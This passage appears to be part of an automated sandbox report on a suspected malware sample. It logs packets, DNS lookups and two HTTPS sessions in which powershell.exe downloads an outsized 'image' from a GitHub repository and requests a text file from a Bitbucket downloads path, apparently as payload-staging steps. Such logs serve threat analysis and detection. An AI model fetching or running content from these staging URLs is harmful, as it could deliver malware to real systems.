Dec 31, 2024 00:46:01.193371058 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:46:01.193747044 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:46:01.193758011 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:46:01.193809032 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:46:01.193814993 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:46:01.193836927 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:46:01.193942070 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:46:01.193953991 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:46:01.194010019 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:46:01.194024086 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:46:01.238579988 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:46:01.238898993 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:46:01.238914013 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:46:01.238980055 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:46:01.238987923 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:46:01.239031076 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:46:01.280914068 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:46:01.280929089 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:46:01.281016111 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:46:01.281023026 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:46:01.281068087 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:46:01.281174898 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:46:01.281189919 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:46:01.281243086 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:46:01.281250000 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:46:01.281290054 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:46:01.281491041 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:46:01.281507015 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:46:01.281542063 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:46:01.281548023 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:46:01.281578064 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:46:01.281588078 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:46:01.281744957 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:46:01.281759977 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:46:01.281805038 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:46:01.281811953 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:46:01.281852007 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:46:01.282072067 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:46:01.282088041 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:46:01.282135963 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:46:01.282141924 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:46:01.282180071 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:46:01.282259941 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:46:01.282275915 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:46:01.282313108 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:46:01.282319069 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:46:01.282351971 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:46:01.282351971 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:46:01.282608032 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:46:01.282630920 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:46:01.282665014 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:46:01.282671928 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:46:01.282697916 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:46:01.282711029 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:46:01.327491045 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:46:01.327506065 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:46:01.327617884 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:46:01.327626944 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:46:01.327677011 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:46:01.369688034 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:46:01.369704008 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:46:01.369807005 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:46:01.369815111 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:46:01.369821072 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:46:01.369838953 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:46:01.369887114 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:46:01.369895935 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:46:01.369942904 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:46:01.370542049 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:46:01.370604992 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:46:01.370654106 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:46:01.373966932 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:46:05.828139067 CET	49705	443	192.168.2.5	185.166.143.48
Dec 31, 2024 00:46:05.828166008 CET	443	49705	185.166.143.48	192.168.2.5
Dec 31, 2024 00:46:05.828234911 CET	49705	443	192.168.2.5	185.166.143.48
Dec 31, 2024 00:46:05.828622103 CET	49705	443	192.168.2.5	185.166.143.48
Dec 31, 2024 00:46:05.828632116 CET	443	49705	185.166.143.48	192.168.2.5
Dec 31, 2024 00:46:06.461292028 CET	443	49705	185.166.143.48	192.168.2.5
Dec 31, 2024 00:46:06.461374998 CET	49705	443	192.168.2.5	185.166.143.48
Dec 31, 2024 00:46:06.465792894 CET	49705	443	192.168.2.5	185.166.143.48
Dec 31, 2024 00:46:06.465810061 CET	443	49705	185.166.143.48	192.168.2.5
Dec 31, 2024 00:46:06.466023922 CET	443	49705	185.166.143.48	192.168.2.5
Dec 31, 2024 00:46:06.467886925 CET	49705	443	192.168.2.5	185.166.143.48
Dec 31, 2024 00:46:06.515338898 CET	443	49705	185.166.143.48	192.168.2.5
Dec 31, 2024 00:46:06.873380899 CET	443	49705	185.166.143.48	192.168.2.5
Dec 31, 2024 00:46:06.873409033 CET	443	49705	185.166.143.48	192.168.2.5
Dec 31, 2024 00:46:06.873425961 CET	443	49705	185.166.143.48	192.168.2.5
Dec 31, 2024 00:46:06.873472929 CET	49705	443	192.168.2.5	185.166.143.48
Dec 31, 2024 00:46:06.873497963 CET	443	49705	185.166.143.48	192.168.2.5
Dec 31, 2024 00:46:06.873522043 CET	49705	443	192.168.2.5	185.166.143.48
Dec 31, 2024 00:46:06.873549938 CET	49705	443	192.168.2.5	185.166.143.48
Dec 31, 2024 00:46:06.965650082 CET	443	49705	185.166.143.48	192.168.2.5
Dec 31, 2024 00:46:06.965709925 CET	443	49705	185.166.143.48	192.168.2.5
Dec 31, 2024 00:46:06.965750933 CET	49705	443	192.168.2.5	185.166.143.48
Dec 31, 2024 00:46:06.965795040 CET	49705	443	192.168.2.5	185.166.143.48
Dec 31, 2024 00:46:06.973500013 CET	49705	443	192.168.2.5	185.166.143.48

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 31, 2024 00:45:57.323589087 CET	53813	53	192.168.2.5	1.1.1.1
Dec 31, 2024 00:45:57.330703020 CET	53	53813	1.1.1.1	192.168.2.5
Dec 31, 2024 00:46:05.820818901 CET	62149	53	192.168.2.5	1.1.1.1
Dec 31, 2024 00:46:05.827577114 CET	53	62149	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 31, 2024 00:45:57.323589087 CET	192.168.2.5	1.1.1.1	0xcadd	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Dec 31, 2024 00:46:05.820818901 CET	192.168.2.5	1.1.1.1	0xf422	Standard query (0)	bitbucket.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 31, 2024 00:45:57.330703020 CET	1.1.1.1	192.168.2.5	0xcadd	No error (0)	raw.githubusercontent.com	185.199.111.133	A (IP address)	IN (0x0001)	false
Dec 31, 2024 00:45:57.330703020 CET	1.1.1.1	192.168.2.5	0xcadd	No error (0)	raw.githubusercontent.com	185.199.110.133	A (IP address)	IN (0x0001)	false
Dec 31, 2024 00:45:57.330703020 CET	1.1.1.1	192.168.2.5	0xcadd	No error (0)	raw.githubusercontent.com	185.199.109.133	A (IP address)	IN (0x0001)	false
Dec 31, 2024 00:45:57.330703020 CET	1.1.1.1	192.168.2.5	0xcadd	No error (0)	raw.githubusercontent.com	185.199.108.133	A (IP address)	IN (0x0001)	false
Dec 31, 2024 00:46:05.827577114 CET	1.1.1.1	192.168.2.5	0xf422	No error (0)	bitbucket.org	185.166.143.48	A (IP address)	IN (0x0001)	false
Dec 31, 2024 00:46:05.827577114 CET	1.1.1.1	192.168.2.5	0xf422	No error (0)	bitbucket.org	185.166.143.49	A (IP address)	IN (0x0001)	false
Dec 31, 2024 00:46:05.827577114 CET	1.1.1.1	192.168.2.5	0xf422	No error (0)	bitbucket.org	185.166.143.50	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

raw.githubusercontent.com

bitbucket.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.199.111.133	443	7660	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 23:45:57 UTC	121	OUT	GET /gmedusa135/nano/refs/heads/main/new_img123.jpg HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-12-30 23:45:57 UTC	888	IN	HTTP/1.1 200 OK Connection: close Content-Length: 4697658 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: image/jpeg ETag: "b899cc7aa3319a16e239ba6cb263113b100d6fa7ed0190f683f329a66758220c" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 7C3A:31FFFC:3FA070:47A6BC:677330B5 Accept-Ranges: bytes Date: Mon, 30 Dec 2024 23:45:57 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740049-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1735602358.878375,VS0,VE37 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 9783a586f2445cb5c594579c7eef0c5a7f3c0a1a Expires: Mon, 30 Dec 2024 23:50:57 GMT Source-Age: 0
2024-12-30 23:45:57 UTC	1378	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 02 01 00 48 00 48 00 00 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 Data Ascii: JFIFHHXICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@d
2024-12-30 23:45:57 UTC	1378	IN	Data Raw: 03 66 03 72 03 7e 03 8a 03 96 03 a2 03 ae 03 ba 03 c7 03 d3 03 e0 03 ec 03 f9 04 06 04 13 04 20 04 2d 04 3b 04 48 04 55 04 63 04 71 04 7e 04 8c 04 9a 04 a8 04 b6 04 c4 04 d3 04 e1 04 f0 04 fe 05 0d 05 1c 05 2b 05 3a 05 49 05 58 05 67 05 77 05 86 05 96 05 a6 05 b5 05 c5 05 d5 05 e5 05 f6 06 06 06 16 06 27 06 37 06 48 06 59 06 6a 06 7b 06 8c 06 9d 06 af 06 c0 06 d1 06 e3 06 f5 07 07 07 19 07 2b 07 3d 07 4f 07 61 07 74 07 86 07 99 07 ac 07 bf 07 d2 07 e5 07 f8 08 0b 08 1f 08 32 08 46 08 5a 08 6e 08 82 08 96 08 aa 08 be 08 d2 08 e7 08 fb 09 10 09 25 09 3a 09 4f 09 64 09 79 09 8f 09 a4 09 ba 09 cf 09 e5 09 fb 0a 11 0a 27 0a 3d 0a 54 0a 6a 0a 81 0a 98 0a ae 0a c5 0a dc 0a f3 0b 0b 0b 22 0b 39 0b 51 0b 69 0b 80 0b 98 0b b0 0b c8 0b e1 0b f9 0c 12 0c 2a 0c 43 0c Data Ascii: fr~ -;HUcq~+:IXgw'7HYj{+=Oat2FZn%:Ody'=Tj"9Qi*C
2024-12-30 23:45:57 UTC	1378	IN	Data Raw: 97 75 97 e0 98 4c 98 b8 99 24 99 90 99 fc 9a 68 9a d5 9b 42 9b af 9c 1c 9c 89 9c f7 9d 64 9d d2 9e 40 9e ae 9f 1d 9f 8b 9f fa a0 69 a0 d8 a1 47 a1 b6 a2 26 a2 96 a3 06 a3 76 a3 e6 a4 56 a4 c7 a5 38 a5 a9 a6 1a a6 8b a6 fd a7 6e a7 e0 a8 52 a8 c4 a9 37 a9 a9 aa 1c aa 8f ab 02 ab 75 ab e9 ac 5c ac d0 ad 44 ad b8 ae 2d ae a1 af 16 af 8b b0 00 b0 75 b0 ea b1 60 b1 d6 b2 4b b2 c2 b3 38 b3 ae b4 25 b4 9c b5 13 b5 8a b6 01 b6 79 b6 f0 b7 68 b7 e0 b8 59 b8 d1 b9 4a b9 c2 ba 3b ba b5 bb 2e bb a7 bc 21 bc 9b bd 15 bd 8f be 0a be 84 be ff bf 7a bf f5 c0 70 c0 ec c1 67 c1 e3 c2 5f c2 db c3 58 c3 d4 c4 51 c4 ce c5 4b c5 c8 c6 46 c6 c3 c7 41 c7 bf c8 3d c8 bc c9 3a c9 b9 ca 38 ca b7 cb 36 cb b6 cc 35 cc b5 cd 35 cd b5 ce 36 ce b6 cf 37 cf b8 d0 39 d0 ba d1 3c d1 be d2 Data Ascii: uL$hBd@iG&vV8nR7u\D-u`K8%yhYJ;.!zpg_XQKFA=:8655679<
2024-12-30 23:45:57 UTC	1378	IN	Data Raw: 26 98 26 02 60 98 86 98 00 20 c0 00 00 29 30 00 10 60 00 09 80 00 00 00 00 31 00 28 00 69 80 00 00 00 03 12 30 43 00 00 00 01 30 1a 74 9a 06 00 00 80 30 4d 0c 10 c0 01 31 03 04 03 00 1a 00 01 30 01 30 62 41 a6 02 60 00 00 00 03 0b 00 00 00 1a 06 81 a1 89 8d 06 98 a4 9d 89 a0 18 20 00 00 00 2a 24 80 1d 80 00 31 00 62 06 00 58 00 0c 01 92 44 c1 18 08 00 83 00 18 00 58 0c 14 a2 c6 26 83 4c 72 84 ae 66 f9 8c cb 99 16 d0 29 a6 21 40 62 68 40 69 5a 10 c4 0d 00 d0 0d 00 00 a0 00 84 4a 2c 00 06 80 18 86 c4 8d 30 01 88 18 d1 2b 13 4d 00 04 30 1a 28 68 91 b4 e9 30 13 04 10 28 0c 00 40 01 a0 06 21 30 04 35 01 23 4c 54 c0 13 10 06 0a 40 80 01 96 26 10 03 12 60 01 40 98 0d 43 19 62 24 90 4c 54 48 44 30 1c 41 89 80 80 1a 1a 10 00 a0 80 4d 4a 0d 00 0a d3 95 88 24 8a 49 Data Ascii: &&` )0`1(i0C0t0M100bA` *$1bXDX&Lrf)!@bh@iZJ,0+M0(h0(@!05#LT@&`@Cb$LTHD0AMJ$I
2024-12-30 23:45:57 UTC	1378	IN	Data Raw: 00 00 00 00 00 00 00 00 28 06 20 00 00 06 20 62 06 00 02 60 00 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 c1 30 13 43 43 10 30 00 00 00 28 13 80 0b 00 14 01 00 62 00 00 00 00 00 1a 00 06 86 26 98 00 00 00 08 00 03 04 d3 00 00 00 01 06 81 a1 80 00 26 0d 00 30 13 00 0b 1a 18 21 c0 05 00 00 08 34 00 0a 34 20 0c 40 00 00 d0 0c 00 01 30 13 00 00 00 00 10 06 02 60 08 60 02 60 01 40 d2 00 0c 00 00 06 81 a0 1a 62 6d 58 00 09 80 00 00 00 00 c0 69 a0 00 03 a4 0c 10 c0 04 06 84 c0 00 50 00 06 82 68 68 00 00 06 20 06 08 18 00 31 00 89 82 80 00 00 d3 44 30 43 00 68 01 88 00 69 a0 05 02 60 00 03 13 4c 00 46 98 00 86 26 26 3a 06 90 06 26 21 80 8d 00 34 c1 0e 86 9a 26 00 d0 8c 0a 1b 10 4d 43 40 36 8a 6c 11 8d 22 60 0c 2c 4d 82 18 80 30 42 1b 4c 1a 10 69 89 a0 24 81 34 Data Ascii: ( b`0CC0(b&&0!44 @0```@bmXiPhh 1D0Chi`LF&&:&!4&MC@6l"`,M0BLi$4
2024-12-30 23:45:57 UTC	1378	IN	Data Raw: 00 40 0c 00 10 01 58 cb 3c e0 1f 3f ec 80 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 00 00 00 34 00 c4 c0 4c 04 30 4c 04 c4 34 c0 13 00 04 d0 30 00 10 34 d1 34 d4 43 00 40 c4 31 30 13 01 03 04 8c 05 4c 48 c4 d5 0c 44 c4 34 c1 34 d5 34 d1 00 0d 00 c0 04 c0 04 00 a0 00 00 4c 20 02 80 00 00 00 00 00 00 00 00 00 00 00 00 02 80 00 00 1a 00 00 00 1a 01 80 20 60 09 80 00 00 00 14 00 00 00 00 d0 00 00 00 00 0d 0c 10 0c 13 01 0c 00 00 00 02 80 10 01 40 24 00 b4 01 00 00 00 00 00 00 00 68 60 81 a0 18 00 02 06 00 00 9a 26 0a 00 83 4c 00 00 00 1a 20 60 98 02 60 0c 43 43 01 00 28 00 18 00 00 34 80 00 00 0c 10 d0 c0 00 00 00 00 00 1a 04 01 aa 00 00 46 80 1a 06 05 00 00 00 00 00 00 20 00 34 03 10 0d 03 10 c0 00 06 80 1a 2c 60 03 40 c4 c0 01 0d 0c Data Ascii: @X<?P4L0L4044C@10LHD444L `@$h`&L ``CC(4F 4,`@
2024-12-30 23:45:57 UTC	1378	IN	Data Raw: 63 1a 04 20 01 44 12 80 00 98 98 a8 4d cb 11 82 63 10 00 31 00 95 45 8d 22 c6 26 98 34 20 0c 40 c4 34 30 44 a2 48 8b 00 02 93 68 00 81 85 83 1a 31 bb 12 6d 10 31 34 0d 00 02 00 8c b2 71 74 20 86 05 0d 03 40 0d 21 8a 42 69 89 a0 01 00 12 82 74 49 12 34 2a 6a 24 b2 44 55 91 52 b4 0a a5 12 1b 4e 9c 5a 1a 68 60 d1 c4 01 02 80 0d 00 21 ca 98 d1 01 42 93 22 c0 8b 60 0d 20 d3 10 c0 04 31 4a 93 4d 04 31 49 c5 24 9a 00 62 68 3c d8 1e 0f b6 00 00 00 00 00 00 00 00 00 00 34 00 00 d3 00 43 13 10 c1 00 03 04 c0 4d 00 d0 31 03 04 00 20 c1 44 c4 13 04 31 41 31 30 41 00 34 00 00 30 00 54 d3 40 40 d3 01 00 34 03 40 34 00 d0 0d 2b 10 31 08 03 00 40 c2 93 08 13 54 c1 48 c0 a0 00 04 30 00 00 00 00 00 00 00 00 00 a0 08 00 00 28 02 00 28 00 06 80 00 18 00 00 00 00 00 00 00 00 Data Ascii: c DMc1E"&4 @40DHh1m14qt @!BitI4*j$DURNZh`!B"` 1JM1I$bh<4CM1 D1A10A40T@@4@4+1@TH0((
2024-12-30 23:45:57 UTC	1378	IN	Data Raw: 06 21 a1 80 02 60 00 00 80 31 0d 03 40 34 e8 05 03 0a 1a 62 60 00 20 d3 00 00 00 00 01 89 a1 01 a0 00 18 08 00 04 b2 40 80 03 00 00 13 4c 4c 04 c0 00 01 80 02 00 50 00 34 c0 00 00 01 a0 20 68 00 00 63 a0 12 34 25 01 4a c4 c1 a1 18 14 34 03 4d 00 06 80 18 50 c6 82 92 42 71 9d 83 06 40 10 60 00 20 09 5a 18 d0 ec 10 43 40 a8 18 01 43 04 6d 34 60 d0 4d 53 43 44 04 a0 2a 18 e0 02 c4 31 50 d0 20 18 30 8c a2 38 31 50 0a 01 03 15 0a 40 98 d1 30 01 00 d3 00 2c 00 86 05 00 00 00 9b 22 d8 26 08 30 06 3b 22 d8 24 d0 c1 91 63 1b 43 23 10 0c 10 25 68 04 34 03 62 60 80 00 86 a9 49 00 d0 d0 02 68 9a 12 34 45 64 44 57 14 e5 04 02 44 ad 26 a0 98 80 50 71 1b 44 00 00 00 26 00 0d a5 63 04 49 00 0c 12 6c 43 01 82 03 2c 00 00 60 98 21 82 60 03 48 00 00 c4 30 52 8b 06 8b 00 90 Data Ascii: !`1@4b` @LLP4 hc4%J4MPBq@` ZC@Cm4`MSCD*1P 081P@0,"&0;"$cC#%h4b`Ih4EdDWD&PqD&cIlC,`!`H0R
2024-12-30 23:45:57 UTC	1378	IN	Data Raw: 00 02 80 00 00 01 00 00 00 00 00 00 00 18 80 06 98 81 88 18 26 08 60 00 80 00 00 00 00 c1 30 43 40 c0 00 13 00 4c 00 01 a1 00 00 00 18 21 82 60 21 b1 00 00 c4 c2 c0 08 00 a0 08 01 d2 18 02 63 40 80 0a 00 8c 4c 00 00 00 00 62 b0 19 08 65 09 80 00 00 80 00 34 00 03 10 d0 c4 30 00 00 62 00 4c 62 00 00 00 28 02 00 74 80 80 1d 21 82 1a 18 08 00 00 c1 34 0c 00 00 00 00 00 00 04 06 94 69 a0 00 34 e9 29 02 00 00 1a 60 86 09 82 00 00 d0 c0 06 9a 26 00 0d 10 0a 0c 44 02 80 00 00 00 03 10 cb 00 00 00 00 13 04 c6 20 06 98 09 80 02 00 c0 45 34 c1 34 e1 0d 00 03 40 09 8a 00 80 25 1a 62 69 80 08 00 a0 34 4c 28 04 36 08 03 10 c1 89 d8 00 12 52 65 89 d8 d8 90 62 06 00 d2 19 24 89 80 98 00 d0 c1 23 02 86 98 c4 d0 62 b2 40 20 08 1a 70 99 2a 43 11 0d 82 45 34 e3 0e 2d 28 02 Data Ascii: &`0C@L!`!c@Lbe40bLb(t!4i4)`&D E44@%bi4L(6Reb$#b@ p*CE4-(
2024-12-30 23:45:57 UTC	1378	IN	Data Raw: 49 02 03 04 11 52 4a 40 c7 72 81 00 0a a4 08 93 6a 80 01 a4 60 c4 00 26 1e 54 67 ce fb e0 08 81 89 a6 26 98 26 02 01 a6 08 60 86 86 98 00 81 a6 00 ac 60 00 00 00 00 00 00 00 00 09 80 00 00 00 00 00 00 00 00 00 00 14 01 00 00 00 00 00 00 14 00 00 00 00 34 00 c4 d3 13 40 30 04 d0 d0 c4 c4 0c 00 4c 4d 03 00 00 00 00 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 01 82 1a 06 80 68 18 14 98 40 05 00 20 00 00 00 00 00 00 c0 13 10 c0 00 00 04 13 15 30 00 11 30 00 00 00 00 01 82 60 02 06 00 d3 44 0c 00 00 00 00 00 00 01 80 05 80 00 00 26 00 00 99 00 14 0d 00 c0 00 00 13 04 68 06 98 02 60 00 00 80 0a d3 2c 43 00 18 80 46 26 26 00 00 86 81 80 81 82 68 60 09 80 d0 50 04 0d 03 05 60 0c 4d 30 00 00 01 a0 00 01 91 18 00 00 00 00 0d 0d 0c 43 04 c0 00 13 00 19 60 86 21 Data Ascii: IRJ@rj`&Tg&&``4@0LMh@ 00`D&h`,CF&&h`P`M0C`!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	185.166.143.48	443	7660	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 23:46:06 UTC	104	OUT	GET /rterterq/fwqfqweqwr/downloads/opkSkch.txt HTTP/1.1 Host: bitbucket.org Connection: Keep-Alive
2024-12-30 23:46:06 UTC	4799	IN	HTTP/1.1 404 Not Found Date: Mon, 30 Dec 2024 23:46:06 GMT Content-Type: text/html; charset=utf-8 Content-Length: 15006 Server: AtlassianEdge Vary: authorization, cookie, user-context, Accept-Language, Origin, Accept-Encoding X-Used-Mesh: False Content-Language: en X-View-Name: bitbucket.apps.downloads.views.download_file Etag: "1c2c848b4429d52ca3adbc7af471337d" X-Dc-Location: Micros-3 X-Served-By: b21088039ab2 X-Version: c9b3998323c0 X-Static-Version: c9b3998323c0 X-Request-Count: 4163 X-Render-Time: 0.07419872283935547 X-B3-Traceid: 9cad47e97f70404b945b4d3a04e1fe2d X-B3-Spanid: ac1738aebb95f397 X-Frame-Options: SAMEORIGIN Content-Security-Policy: base-uri 'self'; frame-ancestors 'self' start.atlassian.com start.stg.atlassian.com atlaskit.atlassian.com bitbucket.org; default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob: ; object-src 'none'; style-src 'self' 'unsafe-inline' https://aui-cdn.atlassian.com/ https://cdn.cookielaw.org/ https://bbc-frontbucket-static.stg-east.frontend.public.atl-paas.net https://bbc-frontbucket-static.prod-east.frontend.public.atl-paas.net https://bbc-frontbucket-canary.prod-east.frontend.public.atl-paas.net https://bbc-frontbucket-exp.prod-east.frontend.public.atl-paas.net https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/; connect-src bitbucket.org .bitbucket.org bb-inf.net *.bb-inf.net atlassianblog.wpengine.com id.atlassian.com api.atlassian.com api.stg.atlassian.com wss://bitbucketci-ws-service.services.atlassi [TRUNCATED] X-Usage-Quota-Remaining: 998716.986 X-Usage-Request-Cost: 1304.27 X-Usage-User-Time: 0.039128 X-Usage-System-Time: 0.000000 X-Usage-Input-Ops: 0 X-Usage-Output-Ops: 0 Cache-Control: max-age=900 Age: 358 X-Cache: HIT X-Content-Type-Options: nosniff X-Xss-Protection: 1; mode=block Atl-Traceid: 1de4c2ad7d7f405e98062be16fecf6b4 Atl-Request-Id: 1de4c2ad-7d7f-405e-9806-2be16fecf6b4 Strict-Transport-Security: max-age=63072000; includeSubDomains; preload Report-To: {"endpoints": [{"url": "https://dz8aopenkvv6s.cloudfront.net"}], "group": "endpoint-1", "include_subdomains": true, "max_age": 600} Nel: {"failure_fraction": 0.001, "include_subdomains": true, "max_age": 600, "report_to": "endpoint-1"} Server-Timing: atl-edge;dur=93,atl-edge-internal;dur=4,atl-edge-upstream;dur=91,atl-edge-pop;desc="aws-eu-central-1" Connection: close
2024-12-30 23:46:06 UTC	11585	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 69 64 3d 22 62 62 2d 62 6f 6f 74 73 74 72 61 70 22 20 64 61 74 61 2d 63 75 72 72 65 6e 74 2d 75 73 65 72 3d 22 7b 26 71 75 6f 74 3b 69 73 41 75 74 68 65 6e 74 69 63 61 74 65 64 26 71 75 6f 74 3b 3a 20 66 61 6c 73 65 2c 20 26 71 75 6f 74 3b 69 73 4b 62 64 53 68 6f 72 74 63 75 74 73 45 6e 61 62 6c 65 64 26 71 75 6f 74 3b 3a 20 74 72 75 65 2c 20 26 71 75 6f 74 3b 69 73 53 73 68 45 6e 61 62 6c 65 64 26 71 75 6f 74 3b 3a 20 66 61 6c 73 65 7d 22 0a 0a 20 2f 3e 0a 20 20 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 62 4f 79 72 6c 6f 42 77 57 4c 66 4f 6a 7a 68 65 4d 53 33 38 46 51 3d 3d 22 3e 0a 0a 69 66 20 28 77 69 6e 64 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta 